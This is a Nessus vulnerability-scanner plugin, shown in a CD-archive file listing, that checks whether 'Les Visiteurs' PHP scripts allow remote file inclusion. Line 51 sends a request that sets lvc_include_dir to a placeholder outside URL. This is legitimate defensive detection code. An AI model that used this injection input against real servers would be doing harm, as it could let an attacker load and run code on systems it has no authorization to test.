home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / les_visiteurs.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  60 lines

  1. #
  2. # (C) Tenable Network Security
  3. #
  4. if(description)
  5. {
  6.  script_id(11911);
  7.  script_bugtraq_id(8902);
  8.  script_version("$Revision: 1.7 $");
  9.  name["english"] = "'Les Visiteurs' script injection";
  10.  script_name(english:name["english"]);
  11.  
  12.  desc["english"] = "
  13. The remote 'Les Visiteurs' PHP scripts are vulnerable to a bug 
  14. wherein any anonymous user can force the server to redirect to 
  15. any arbitrary IP and download a potentially malicious include file.  
  16.  
  17. This can allow an attacker to upload and execute malicious
  18. code on the web server
  19.  
  20. Solution: Upgrade to version 2.0.2 - http://chezwam.net/main/publications/lesvisiteurs/
  21. Risk factor : High";
  22.  
  23.  script_description(english:desc["english"]);
  24.  
  25.  summary["english"] = "Les Visiteurs inc file upload";
  26.  script_summary(english:summary["english"]);
  27.  
  28.  script_category(ACT_ATTACK);
  29.  
  30.  
  31.  script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
  32.  family["english"] = "CGI abuses";
  33.  script_family(english:family["english"]);
  34.  script_require_ports("Services/www", 80);
  35.  script_dependencies("http_version.nasl");
  36.  exit(0);
  37. }
  38.  
  39. # start the test
  40.  
  41. include("http_func.inc");
  42. include("http_keepalive.inc");
  43.  
  44. port = get_http_port(default:80);
  45.  
  46. if (!get_port_state(port)) exit(0);
  47. if (!can_host_php(port:port)) exit(0);
  48.  
  49. foreach dir (cgi_dirs())
  50. {
  51.  req = http_get(item:dir + "/new-visitor.inc.php?lvc_include_dir=http://xxxxxxxxx/", port:port);
  52.  res = http_keepalive_send_recv(port:port, data:req);
  53.  if ( res == NULL ) exit(0);
  54.  if ( egrep(pattern:"http://xxxxxxxxx/config\.inc\.php", string:res) ) 
  55.  {
  56.   security_hole(port);
  57.   exit(0);
  58.  }
  59. }
  60.